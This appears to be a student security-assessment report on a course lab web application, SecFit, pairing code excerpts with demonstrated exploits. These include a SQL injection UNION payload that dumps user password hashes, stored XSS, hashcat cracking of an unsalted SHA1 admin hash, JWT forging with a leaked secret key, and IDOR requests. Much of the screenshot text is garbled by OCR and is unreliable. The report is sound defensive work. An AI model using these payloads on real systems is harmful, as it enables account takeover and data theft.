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1 Introduction

This report was written with the intention to highlight security vulnerabilities in the SecFit website.
The ordering is in the format of first found, and highlights the White-Box analysis as well as the
exploit performed on Black-Box. Each section will explain briefly what the vulnerability is as well
as the OWASP code.

2 WSTG-ATHN-01

Credentials and communications are transmitted over an unencrypted HTTP connection, which
makes it possible for an attacker to see information that pass through.

2.1 White-Box

nginx/nginx.conf : 1.5-6-7

http {
server {
listen 80;

2.2 Black-Box

ntnu.no

Figure 1: unsecure webpage when hosted, no HTTPS

3 WSTG-ATHN-02

Weak credentials are used for the admin page (admin/admin) and the SecFit page.

3.1 White-Box

Those credentials can be found in the database, in the ”users_user” table.

backend/db.sqlite3 : 1.1

sqlite> select * from users_user;

1|shal$$de33e22ae348aeb5660fc2140aec35850c4da997|2025-01-09 09:41:58.518955|1|admin| | |admin@mail.com|1|1|2025-01-09 ©9:33:18.776913|0]| |

Figure 2: Admin credentials by default in the database




3.2 Black-Box

Django administration

Site administration

AUTHENTICATION AND AUTHORIZATION

Groups

Figure 3: Django admin panel with default credentials admin admin

Welcome, admin aEelceReliyy

Figure 4: admin admin default login on main SecFit page

4 WSTG-ATHN-03

The absence of a lockout mechanism on login requests makes brute-forcing attempts significantly
easier.

4.1 White-Box

backend/users/auth backend.py : 1.5-11

def authenticate(self,request, username=None, password=None):
try:
user = User.objects.get (username=username)
if user.check_password(password):
return user
except User.DoesNotExist:
return None




4.2 Black-Box

http://tdtd237-41.idLntnu.no/apijtoken/
http://tdta237-41idLntnu.nofapijtoken/
http://tdt4237-41idLntnu.no/apijtoken/
http://tdt4237-41.idLntnu.nofapijtoken/
http://tdt4237-41.idLntnu.nofapijtoken/
http://tdtd237-41.idLntnu.nofapijtoken/
http://tdta237-41idLntnu.nofapiftoken/
http://tdt4237-41idLntnu.nofapijtoken/
http://tdt4237-41.idLntnu.nofapijtoken/

http://tdt4237-41.idl.ntnu.no/api/token/

http://tdt4237-41idLntnu.nofapijtoken/

http://tdta237-41idLntnu.no/apijtoken/
http://tdt4237-41idLntnu.nofapijtoken/
http://tdt4237-41.idLntnu.nofapijtoken/

http://tdt4237-41.idi.ntnu.nofapi/token/

Figure 5: Postman sending multiple wrong credentials

5 WSTG-IDNT-04

User accounts, along with their associated email addresses, are publicly exposed, posing a risk to
user privacy and security.

5.1 White-Box

backend/users/views.py : 1.25-30

class UserList(mixins.ListModelMixin, mixins.CreateModelMixin,
generics.GenericAPIView) :
serializer_class = UserSerializer

def get(self, request, *args, *xkwargs):
self.serializer_class = UserGetSerializer
return self.list(request, *args, **kwargs)

5.2 Black-Box

2 1 200
3 2 200
4 3 200
5 4 404 H
6 5 404
equest  Response
sretty  Raw  Hex

200 CK
: ngin/1.27.3
4 Jan 2025 14:46:37 GHT
application/json
thi 212
keep-alive
, Origin

, PUT, PATCH, DELETE, HEAD, OPTIONS
¥-Frame-Options: DEN
¥-Content-Type-Options: nosniff
Referrer—Policy: same-origin
Cross-Origin-Opsner-Policy: same-origin

3
muel":vhtep://cde4237-41. idi,nenu.no/ api/users/ 1/ ",
wiq

"coach files”:[

1
"athlete files":[
1

¥

Figure 6: Enumerated users, exfiltrate username and emails




6 WSTG-INPV-02

By using dangerouslySetInnerHTML, the application directly injects user input as HTML. There-
fore, an attacker can inject some malicious scripts, leading to Cross-Site Scripting.

6.1 White-Box

frontend/src/components/CommentSectionForm. jsx : 1.137

</div>
<p dangerouslySetInnerHTML={{ __html: comment.content }}></p>
<p>{getTimeSincePosted(comment.timestamp)}</p>

</Paper>

6.2 Black-Box

tdt4237-41.idi.ntnu.no says

X55

Public - ADD EXERCIS

Squats - 1 sets of ]

Figure 7: XSS in comments for workouts

px8 seconds ago</p>

Figure 8: Inspect Element view showing the injected malicious code

7 WSTG-CONF-02

Proper configuration of the single elements that make up an application architecture is important
in order to prevent mistakes that might compromise the security of the whole architecture.

Here we can see that the debug mode is set to True, which should not be the case.

7.1 White-Box

backend/secfit/settings.py : 1.29

# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True




7.2 Black-Box

You're seeing this error because you have DEBUG = True in your Django settings file.

Figure 9: django debug = True

8 WSTG-INFO-05

Conduct a thorough examination of the webpage content to identify and mitigate potential infor-
mation leakage risks.

8.1 White-Box

The key is exposed in the source code. It should be stored in a .env file and imported in the code
at the beginning.

backend/secfit/settings.py : 1.26

# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'django-insecure-*=))=v-+Q_c-6(-600%nv2b~a8br’$) k+u+’(9ayozs79)abc'

8.2 Black-Box

Since we have this key, we can reforge JWT tokens using it. It allows any attacker to become any
other user of the website by modifying his id.

HEADER: ALGORITHM & TOKEN TYPE CLEAR JSON WEB TOKEN

PAYLOAD: DATA

SECRET

Figure 10: Reforged JWT tokens

9 WSTG-CRYP-04

Improper implementation of encryption algorithms can lead to the unintentional exposure of sen-
sitive data.




9.1 White-Box

backend/secfit/settings.py : 1.140

PASSWORD_HASHERS = [
'django.contrib.auth.hashers.UnsaltedSHA1PasswordHasher',

9.2 Black-Box

arthursaunier@MacBook-Air-de-Arthur ~ % hashcat -m 100 -a @ hash.txt Downloads/rockyou.txt --force
hashcat (v6.2.6) starting

st
debugging.

wn to be unreliable.

METAL API (Metal 367.6)

« Device #1: Apple M3, 5408/10922 MB, 16MCU

OpenCL API (OpenCL 1.2 (Dec 13 2024 23:09:21)) - Platform #1 [Applel
'« Device #2: Apple M3, skipped

Minimun password length supported by kernel: @
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x@@0@ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:

* Raw-Hash

ATTENTION! Pure (un

Watchdog: Temperature abort trigger set to 108c
Host memory required for this attack: 175 MB

Dictionary cache built:
* Filename..: Downloads/Tockyou.txt
Passwords.: 14344391
139921497
14344384
* Runtime...: 1 sec

de33e22ae348aeb5660fc21408aec35850c4da997: admin

Figure 11: Hashcat cracks passwords using rockyou.txt

10 WSTG-SESS-02

Web Cookies (herein referred to as cookies) are often a key attack vector for malicious users
(typically targeting other users) and the application should always take due diligence to protect
cookies.

10.1 White-Box

To long lifetime

backend/secfit/settings.py : 1.166-170

SIMPLE_JWT = {
'ACCESS_TOKEN_LIFETIME': timedelta(hours=72),
'"REFRESH_TOKEN_LIFETIME': timedelta(days=60),




10.2 Black-Box

11 WSTG-INPV-05

The SQL query is executed raw without validation leading to SQL injection.

11.1 White-Box

backend/users/views.py : 1.80

query = f"SELECT * FROM users_user WHERE username = '{usernamel}'"
with connection.cursor() as cursor:

cursor.execute(query) # Executing the raw SQL query

columns

rows

[col[0] for col in cursor.description]

cursor.fetchall()

11.2 Black-Box

LLUS3TUL LY LUT U TUTL T ULl Y - SCUUT UL Lyl

[

"url”:"http://tdt4237-41. idi.ntnu.no/api/users/ /",

midr:l,
"email™:"shal$§d033el2as348ach5660fcl 140asc35850c4dagss7",
Mugername":"L",

"athletes":[

1.

"igCoach":null,
"coach":null4
"specialism":null,
"workouts": [

1.

"coach files":[

1.

"athlece files":[

1

"url":"http://tdc4237-41. idi.ntnu.no/api/users/2/ ",

ridriz,

"email™:"shal§§clZB3I15:748alaacfddeddedbe58L137161aZ87",

"username":"0",

"athletes": [

1,

"isCoach":null,

"coach":null,

"specialism":null,

"workouts": [

1,

"coach files":[
"http://tde4237-41.idi.ntnu.nofapi/athlete-files/15/",
"http://tdt4237-41.idi.ntnu.no/api/athlete-files/16/",
"http://tdt4237-41.idi.ntnu.no/api/athlete-files/17/"

1.
"athlete_files":[

1

"arl":"http://tdt4237-41. idi.ntnu.no/api/users/3/",
mid":3,
"email™:"shal§§cl2B83215=748alaacfddEddedbe58b137161aZ87",
Mugernams": "0,
"athletes": [

"http://tdt4237-41.idi.ntnu.no/api/users/2/"

1,

MisCaachTinnll

Figure 12: sql injection

GET /api/users/' UNION SELECT id, username, password, is_active, is_staff,
is_superuser, password, password, username, username, username, NULL, NULL,
FROM users_user --/ HTTP/1.1

NULL




12 WSTG-ATHZ-02

Possibility for an athlete to delete a file his coach sent him. Only the coach should be able to
decide wether or not a workout file can be deleted.

12.1 White-Box

backend/users/views.py : 1.235

permission_classes = [permissions.IsAuthenticated & (IsAthlete | IsQOwner)]

12.2 Black-Box

DELETE /api/athlete-files/6/ HTTP/1.1

Host: tdt4237-41.idi.ntnu.no

Authorization: Bearer
eyJhbGci0iJIUzI1NiIsInR5cCI6IkpXVCI9.eyJOb2t1b190eXB1IjoiYWNjZXNzIiwiZXhwIjoxNzQwNTczNTI1LCIpYXQi0jE:

Accept-Language: fr-FR,fr;q=0.9

Accept: application/json

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/129.0.6668.71 Safari/537.36

Referer: http://tdt4237-41.idi.ntnu.no/coach

Accept-Encoding: gzip, deflate, br

Connection: keep-alive

13 WSTG-IDNT-02

13.1 White-Box

Absence of any authentication email validation allows mass account creation. ”unique” tag is
missing

backend/users/migrations/0001_initial.py : 1.31

('email', models.EmailField(blank=True, max_length=254, verbose_name='email
address')),




13.2 Black-Box

"url": "http://localhost/api/users/2/",
"id": 2,

"email": "mail@mail.com"”,
"username": "Arthur",
"athletes": [],
"isCoach": false,
"specialism": ""

"coach": null,
"workouts": [],

"coach files": [],
"athlete files": []

"url": "http://localhost/api/users/3/",
"id": 3,

"email": "mail@mail.com",
"username": "Truc",
"athletes": [],
"isCoach": false,
"specialism": ""

"coach": null,
"workouts": [],

"coach files": [],
"athlete_files": []

}

Figure 13: Two different users with the same email

14 WSTG-SESS-06

Logging out does not end the session on the server-side. It only clears local storage, allowing any
attacker that obtained a token to use it even after its owner disconnected from SecFit.

14.1 White-Box

frontend/src/components/AuthContext.jsx : 1.59-67

const logout = () => {
SessionService.removelLocalAccessToken
SessionService.removelLocalRefreshToken
SessionService.removeUserId();
SessionService.removeUserName
SessionService.removelsCoach

setIsAuthenticated(false);

Figure 14: Cookies are only erased locally




14.2 Black-Box

Secfit HOME WORKOUTS EXERCISES COACH Welcome, testa [EelcYell}]

View Workouts

Here you can view workouts completed by you, your athletes, or the public. Click on a workout to view its details.

LOG NEW WORKOUT

ALLWORKOUTS MY WORKOUTS
Sortby: DATE OWNER NAME
Currently sorting by: date (Descending)
TestWorkout
« Date: 2025-02-11
« Time: 00:00:00

* Owner: testa
« Exercises: 0

Figure 15: I’'m connected and I can see my private workout

I saved the accessToken, disconnected using the button and then re-entered the token in my local
storage (manually).

Secfit HOME WORKOUTS EXERCISES COACH Welcome, [EeYeIT}g

View Workouts

Here you can view workouts completed by you, your athletes, or the public. Click on a workout to view its details

LOG NEW WORKOUT

ALLWORKOUTS = MY WORKOUTS

Sortby: DATE OWNER NAME

Currently sorting by: date (Descending)

TestWorkout

« Date: 2025-02-11
« Time: 00:00:00
* Owner: testa

* Exercises: 0

Figure 16: We can see that I have access to the private workout

Session aren’t terminated when a user disconnects.

15 WSTG-ATHZ-02

The application currently allows any connected user to post comments on any post, even private
ones (nobody is supposed to see them)

15.1 White-Box

backend/comments/views.py : 1.15

permission_classes = [permissions.IsAuthenticated]

15.2 Black-Box

By simply modifying the URL of the following request, we can comment on a workout which is
private (Supposing you found or guessed the id of the workout post)

10



POST /api/comments/ HTTP/1.1

Host: tdt4237-41.idi.ntnu.no

Content-Length: 75

Authorization: Bearer

eyJhbGci0ilIUZIINiIsINR5cCI6IkpXVCI9. ey]0b2t1b190eXB1I]j0iYWNjZXNZTiwiZXhwljoxNzQuNzMxMjgyLCIpYXQi0jE3NDAGNZIWODIsImp@aSI6IjUBMTUX
OWU4MmIwMzQxN2Q5YzhkNjd1ZWNKMTQ2MDU1IiwidXN1c19pZCI6Mn@.NBEA-FaWBCcXMU-P5gkiSQpwsSsRpvPOF3S0qWd3JTA

Accept-Language: fr-FR,fr;q=0.9

Accept: application/json

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Origin: http://tdt4237-41.idi.ntnu.no

Referer: http://tdt4237-41.1idi.ntnu.no/workoutForm/1

Accept-Encoding: gzip, deflate, br

Cookie: csrftoken=Ct4y8Bw8xAl1GbzBgLV4GOOwNny 27RKA12RE NmV7drs6Pb82gE

Connection: keep-alive

“content":"yes",
"workout":"http://tdt4237-41.idi.ntnu.no/api/workouts/1/"

+
Figure 17
Secfit HOME WORKOUTS EXERCISES COACH Welcome, testa
02/11/2025 01:00 AM (o] Squats v
Owner Visibility Sets Number
testa Private - S S
Notes
/
OK CANCEL
Comments
testal

Hi, I'm an intruder !

23 seconds ago

testa

yes

1 minute ago

Figure 18: This is a private workout, but user testal could post comment even if he wasn’t the
owner of the workout

16 WSTG-BUSL-08

We can see that a coach can upload any type of file of any size. If an attacker could get access to
a coach account, he could send dangerous files to some customers.

16.1 White-Box

backend/workouts/models.py : 1.139

file = models.FileField(upload_to=workout_directory_path)

16.2 Black-Box

malicious.verymalicious

Owner : testc ¥ DOWNLOAD

€@ UPLOAD FILE (PDF, IMAGE FILE)
File uploaded successfully

Figure 19: I can send a very malicious file to any athlete

11



17 WSTG-IDNT-04

Even though the application sends a generic error message when there is an error during account
creation process, we can inspect the response of the request to analyze the message received by
the browser. It is then possible to know if a user account exists or not.

17.1 White-Box

Here we can see the error message when trying to create a user that has the same username as
another already registered user.

backend/users/migrations/0001 _initial.py : 1.28

operations = [
migrations.CreateModel(
name="'User',
fields=[

('username', models.CharField(error_messages={'unique': 'A user with that
username already exists.'}, help_text='Required. 150 characters or
fewer. Letters, digits and @/./+/-/_ only.', max_length=150,
unique=True,
validators=[django.contrib.auth.validators.UnicodeUsernameValidator()],
verbose_name='username')),

17.2 Black-Box

. ” A
And here we can see the response from the server when trying to create a user named ”admin
==
Request Response
Pretty ~ Raw  Hex ® N = Pretty Raw  Hex  Render n o=
1 POST /api/users/ HTTP/1.1 1 HTTP/1.1 400 Bad Request
2 Host: tdt4237-41.idi.ntnu.no 2 Server: nginx/1.27.4
3 Content-Length: 176 3 Date: Wed, 26 Feb 2025 10:54:12 GMT
4 Accept-Language: fr-FR,fr;q=0.9 4 Content-Type: application/json
5 Accept: application/json 5 Content-Length: 58
6 Content-Type: application/json 6 Connection: keep-alive
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 7 Vary: Accept, Origin
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 g Allow: GET, POST, HEAD, OPTIONS

Safari/537.36

9

X-Frame-Options: DENY

8 Origin: http://tdt4237-41.idi.ntnu.no 10 X-Content-Type-Options: nosniff
9 Referer: http://tdt4237-41.idi.ntnu.no/signup 11 Referrer-Policy: same-origin
0 Accept-Encoding: gzip, deflate, br 12 Cross-0rigin-Opener-Policy: same-origin
1 Cookie: csrftoken= 13 Access-Control-Allow-0rigin: *
Ct4y8Bw8xA11GbzBgLV4GOOwny 7RKAL NmV7drs6Pb8 14
2gE 15 {
2 Connection: keepralive "username": [
3 "A user with that username already exists."
4 { 1
admin", }

asd123!123",
"asd123!123",

“athletes"

1,
"workouts": [

,
"coach_files": [

1,
"athlete_files": [
1

Figure 20: We can see the error message

18 Tools used

A number of tools was used, static code analysis with IDE and text editors, Postman, OWASP
ZAP, Hashcat, jwt.io and Burpsuite.

12



19 Conclusion

This report was written to highlight the security vulnerabilities found on the SecFit website.
Using a combination of White-Box and Black-Box testing methods, we were able to identify and
demonstrate several potential vulnerabilities.

By taking the necessary steps to mitigate these risks, SecFit can improve its overall security and
protect its users more effectively.
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